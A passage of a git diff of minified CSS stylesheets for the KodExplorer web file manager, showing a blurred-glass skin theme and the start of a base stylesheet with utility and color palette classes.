100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .share-page-main .show-code{ border:1px solid rgba(100,100,100,0.2);background:rgba(255,255,255,0.9);border-radius:2px;} body .share-page-main .show-code pre{ font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by:hover, body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by.context-menu-active{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} \ No newline at end of file diff --git a/static/style/skin/base/app_code_edit.css b/static/style/skin/base/app_code_edit.css index d741834..1957fb7 100755 --- a/static/style/skin/base/app_code_edit.css +++ b/static/style/skin/base/app_code_edit.css @@ -1,3 +1,5 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368386.5926] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d